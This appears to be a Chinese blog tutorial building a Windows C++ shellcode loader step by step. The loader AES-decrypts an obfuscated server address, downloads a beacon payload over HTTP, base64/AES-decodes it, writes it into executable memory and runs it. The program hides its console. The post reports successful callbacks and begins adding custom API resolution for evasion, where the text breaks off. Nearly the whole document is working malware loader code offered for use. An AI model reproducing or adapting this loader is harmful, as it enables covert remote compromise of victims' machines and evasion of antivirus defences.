AES+base64+远程加载----ConsoleApplication811项目

news2025/1/23 3:04:13

ConsoleApplication9.cpp

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}


int main()
{
    void* exec;
    int payload_len = 280000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHixxxx==";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "uMF83pA41Vm/UzOtowpaCA==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);


    ((void(*)())exec)();

    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

base64.cpp

#include"base64.h"
#include<assert.h>
#include<iostream>
const std::string ko::Base64::baseString =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
std::string ko::Base64::encode(const std::string& s) {
    unsigned char array3[3];
    unsigned char array4[4];
    unsigned group = s.length() / 3;
    unsigned remain = s.length() - 3 * group;
    int pos = 0;
    std::string ret;
    ret.reserve(4 * group + 4);
    for (int g = 0; g < group; ++g) {
        for (int i = 0; i < 3; ++i)array3[i] = s[pos++];
        array4[0] = (array3[0] & 0xFC) >> 2;
        array4[1] = ((array3[0] & 0x03) << 4) + ((array3[1] & 0xF0) >> 4);
        array4[2] = ((array3[1] & 0x0F) << 2) + ((array3[2] & 0xC0) >> 6);
        array4[3] = array3[2] & 0x3F;
        for (int i = 0; i < 4; ++i)ret.push_back(baseString[array4[i]]);
    }
    if (remain > 0) {
        for (int i = 0; i < remain; ++i)array3[i] = s[pos++];
        for (int i = remain; i < 4; ++i)array3[i] = 0;
        array4[0] = (array3[0] & 0xFC) >> 2;
        array4[1] = ((array3[0] & 0x03) << 4) + ((array3[1] & 0xF0) >> 4);
        array4[2] = ((array3[1] & 0x0F) << 2) + ((array3[2] & 0xC0) >> 6);
        array4[3] = array3[2] & 0x3F;
        for (int i = 0; i < remain + 1; ++i)ret.push_back(baseString[array4[i]]);
        for (int i = remain + 1; i < 4; ++i)ret.push_back('=');
    }
    return ret;
}
std::string ko::Base64::decode(const std::string& s) {
    unsigned char array3[3];
    unsigned char array4[4];
    unsigned group = s.length() / 4;
    const unsigned remain = s.length() - 4 * group;
    int pos = 0;
    std::string ret;
    ret.reserve(3 * group);
    assert(remain == 0);
    for (int g = 0; g < group; ++g) {
        for (int i = 0; i < 4; ++i)array4[i] = baseString.find(s[pos++]);
        array3[0] = (array4[0] << 2) + ((array4[1] & 0x30) >> 4);
        array3[1] = ((array4[1] & 0xf) << 4) + ((array4[2] & 0x3c) >> 2);
        array3[2] = ((array4[2] & 0x3) << 6) + array4[3];
        if (array4[2] == 255)ret.push_back(array3[0]);
        else if (array4[3] == 255) {
            ret.push_back(array3[0]);
            ret.push_back(array3[1]);
        }
        else {
            ret.push_back(array3[0]);
            ret.push_back(array3[1]);
            ret.push_back(array3[2]);
        }
    }
    return ret;
}

base64.h

#pragma once
#include<string>
namespace ko {
    class Base64 {
    private:
        static const std::string baseString;
    public:
        static std::string encode(const std::string& s);
        static std::string decode(const std::string& s);
    };
}

AES.h

//AES.h

#ifndef _AES_H
#define _AES_H
#include <exception>
#include <cstring>
#include <string>
#define BLOCK_SIZE 16
using namespace std;

class AES
{
public:
    enum
    {
        ECB = 0, CBC = 1, CFB = 2
    };

private:
    enum
    {
        DEFAULT_BLOCK_SIZE = 16
    };
    enum
    {
        MAX_BLOCK_SIZE = 32, MAX_ROUNDS = 14, MAX_KC = 8, MAX_BC = 8
    };
public:
    AES();
    virtual ~AES();
private:
    //Key Initialization Flag
    bool m_bKeyInit;
    //Encryption (m_Ke) round key
    int m_Ke[MAX_ROUNDS + 1][MAX_BC];
    //Decryption (m_Kd) round key
    int m_Kd[MAX_ROUNDS + 1][MAX_BC];
    //Key Length
    int m_keylength;
    //Block Size
    int m_blockSize;
    //Number of Rounds
    int m_iROUNDS;
    //Chain Block
    char m_chain0[MAX_BLOCK_SIZE];
    char m_chain[MAX_BLOCK_SIZE];
    //Auxiliary private use buffers
    int tk[MAX_KC];
    int a[MAX_BC];
    int t[MAX_BC];
private:
    void Xor(char* buff, char const* chain);
    void DefEncryptBlock(char const* in, char* result);
    void DefDecryptBlock(char const* in, char* result);
    void EncryptBlock(char const* in, char* result);
    void DecryptBlock(char const* in, char* result);
public:
    void MakeKey(char const* key, char const* chain, int keylength =
        DEFAULT_BLOCK_SIZE, int blockSize = DEFAULT_BLOCK_SIZE);
    void Encrypt(char const* in, char* result, size_t n, int iMode = ECB);
    void Decrypt(char const* in, char* result, size_t n, int iMode = ECB);
};

#endif // __RIJNDAEL_H__

AES.cpp
太大了就不放了

效果:
在这里插入图片描述
在这里插入图片描述
可以看到成功上线

到这里我们的url达到了一个方式,就是AES下载beacon811.bin文件成功,既然请求地址成功AES+base64编码解码且成功下载了了,那么这一功能完成了,

我们接下来写文件内容加密和解密,因为是二进制文件,那么第一步先给他在服务端base64加密了,然后再木马中再进行解密,我们先来把他用base64打印出来,发现控制台看不到,那么我们写到一个文件看看
增加如下代码

std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
base64EncodedContent = ko::Base64::encode(base64EncodedContent);

//Save the Base64-encoded content to a file
std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
outFile << base64EncodedContent;
outFile.close();

注意用到outFile需要引入

#include <fstream>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到成功写入,那么我们怎么确定写入的是否就是我们shellcode进行base64编码后的内容
那么我们解密触发看看是否上线
将写入文件的注释掉,增加两行代码

base64EncodedContent = ko::Base64::decode(base64EncodedContent);

((void(*)())exec)();

在这里插入图片描述
可以看到成功上线,nice

这一阶段的全部代码

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}


int main()
{
    void* exec;
    int payload_len = 280000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "uMF83pA41Vm/UzOtowpaCA==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);





    // Convert the vector to Base64-encoded string
    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    base64EncodedContent = ko::Base64::encode(base64EncodedContent);


    base64DecodedContent = ko::Base64::decode(base64EncodedContent);



    ((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

那么我们确定内容没问题接下来再此base64EncodedContent上改造加解密就可以了,因为是字符串形式,而不是难搞的二进制

但是到这里我发现我傻了,这样和base64根本没有关系,因为我调用的exec指针执行,还是之前内存中的东西,而不是base64编码后的进入内存,
那么我继续修改,目的是让我们得到的base64DecodedContent进行内存加载
在这里插入图片描述
在这里插入图片描述
可以看到成功上线
这里给出全部代码

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


void decode(string& c, int key[]) {
    int len = c.size();
    for (int i = 0; i < len; i++) {
        c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
    }
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* exec;
    int payload_len = 280000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "uMF83pA41Vm/UzOtowpaCA==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);


    // Convert the vector to Base64-encoded string
    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    std::string base64DecodedContent;

    base64EncodedContent = ko::Base64::encode(base64EncodedContent);

    base64DecodedContent = ko::Base64::decode(base64EncodedContent);

    void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (alloc == nullptr) {
        std::cerr << "Failed to allocate memory." << std::endl;
        return 1;
    }

    // Copy decoded content to allocated memory
    memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());

    // Execute the allocated content
    void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);
    shellcode();

    // Free the allocated memory
    VirtualFree(alloc, 0, MEM_RELEASE);

    //((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

那么我们直接来访问我们base64编译好的a.txt文件放到服务器上,远程加载试试
发现失败,我又进行了排查(通过写入文件数据是否一致进行排查)

    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    std::string base64DecodedContent;


    std::ofstream outFile("encoded_content.txt", std::ios::out);
    outFile << base64EncodedContent;
    outFile.close();

在这里插入图片描述
发现写出的文件0kb,我换成了123456编译后的base64,发现读取成功了,那么想到是长度影响的问题,那么我增大payload_len
,之前是280000,现在我改成500000
在这里插入图片描述
在这里插入图片描述

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


void decode(string& c, int key[]) {
    int len = c.size();
    for (int i = 0; i < len; i++) {
        c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
    }
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* exec;
    int payload_len = 500000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "lTbb3qMe8NsPKPjzTRaEzg==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);


    // Convert the vector to Base64-encoded string
    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    std::string base64DecodedContent;


    std::ofstream outFile("encoded_content.txt", std::ios::out);
    outFile << base64EncodedContent;
    outFile.close();
    //base64EncodedContent = ko::Base64::encode(base64EncodedContent);

    //base64DecodedContent = ko::Base64::decode(base64EncodedContent);

    //void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //if (alloc == nullptr) {
    //    std::cerr << "Failed to allocate memory." << std::endl;
    //    return 1;
    //}

     Copy decoded content to allocated memory
    //memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());

     Execute the allocated content
    //void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);
    //shellcode();

     Free the allocated memory
    //VirtualFree(alloc, 0, MEM_RELEASE);

    //((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

可以看到成功写入,那么我们再来修改成之前的代码,继续运行,
在这里插入图片描述
成功了,一路踩坑,不过这下好了
全代码(注释自己手动去掉就好)

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


void decode(string& c, int key[]) {
    int len = c.size();
    for (int i = 0; i < len; i++) {
        c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
    }
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* exec;
    int payload_len = 500000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "lTbb3qMe8NsPKPjzTRaEzg==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);


    // Convert the vector to Base64-encoded string
    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    std::string base64DecodedContent;


    //base64EncodedContent = ko::Base64::encode(base64EncodedContent);

    base64DecodedContent = ko::Base64::decode(base64EncodedContent);

    void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (alloc == nullptr) {
        std::cerr << "Failed to allocate memory." << std::endl;
        return 1;
    }

    // Copy decoded content to allocated memory
    memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());

    // Execute the allocated content
    void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);
    shellcode();

    // Free the allocated memory
    VirtualFree(alloc, 0, MEM_RELEASE);

    //((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

那么按照这个套路继续写以下几个算法
增加AES算法
目前顺序,服务端base64+AES算法生成的aesencode.txt文件,那么木马解密写成先解密AES再解密base64
在这里插入图片描述
可以看到成功上线
增加的代码如下
在这里插入图片描述
到这里就完成了我们的AES+base64+远程加载(请求的地址进行了AES加密)
base64加密使用到的python代码
在这里插入图片描述
AES加密使用到的项目
在这里插入图片描述
目前全代码

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


typedef LPVOID(WINAPI* VirtualAllocT)(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    );

typedef HINTERNET(WINAPI* InternetOpenW_T)(
    _In_opt_ LPCWSTR lpszAgent,
    _In_ DWORD dwAccessType,
    _In_opt_ LPCWSTR lpszProxy,
    _In_opt_ LPCWSTR lpszProxyBypass,
    _In_ DWORD dwFlags
    );

typedef HINTERNET(WINAPI* InternetConnectW_T)(
    _In_ HINTERNET hInternet,
    _In_ LPCWSTR lpszServerName,
    _In_ INTERNET_PORT nServerPort,
    _In_opt_ LPCWSTR lpszUserName,
    _In_opt_ LPCWSTR lpszPassword,
    _In_ DWORD dwService,
    _In_ DWORD dwFlags,
    _In_opt_ DWORD_PTR dwContext
    );

typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
    _In_ HINTERNET hConnect,
    _In_opt_ LPCWSTR lpszVerb,
    _In_opt_ LPCWSTR lpszObjectName,
    _In_opt_ LPCWSTR lpszVersion,
    _In_opt_ LPCWSTR lpszReferrer,
    _In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
    _In_ DWORD dwFlags,
    _In_opt_ DWORD_PTR dwContext
    );

typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
    _In_ HINTERNET hRequest,
    _In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
    _In_ DWORD dwHeadersLength,
    _In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
    _In_ DWORD dwOptionalLength
    );

typedef HINTERNET(WINAPI* InternetReadFile_T)(
    _In_ HINTERNET hFile,
    _Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
    _In_ DWORD dwNumberOfBytesToRead,
    _Out_ LPDWORD lpdwNumberOfBytesRead
    );
FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
    // Get the address of the module's PE header
    BYTE* pImageBase = (BYTE*)hModule;
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
    IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);

    // Get the address of the export directory
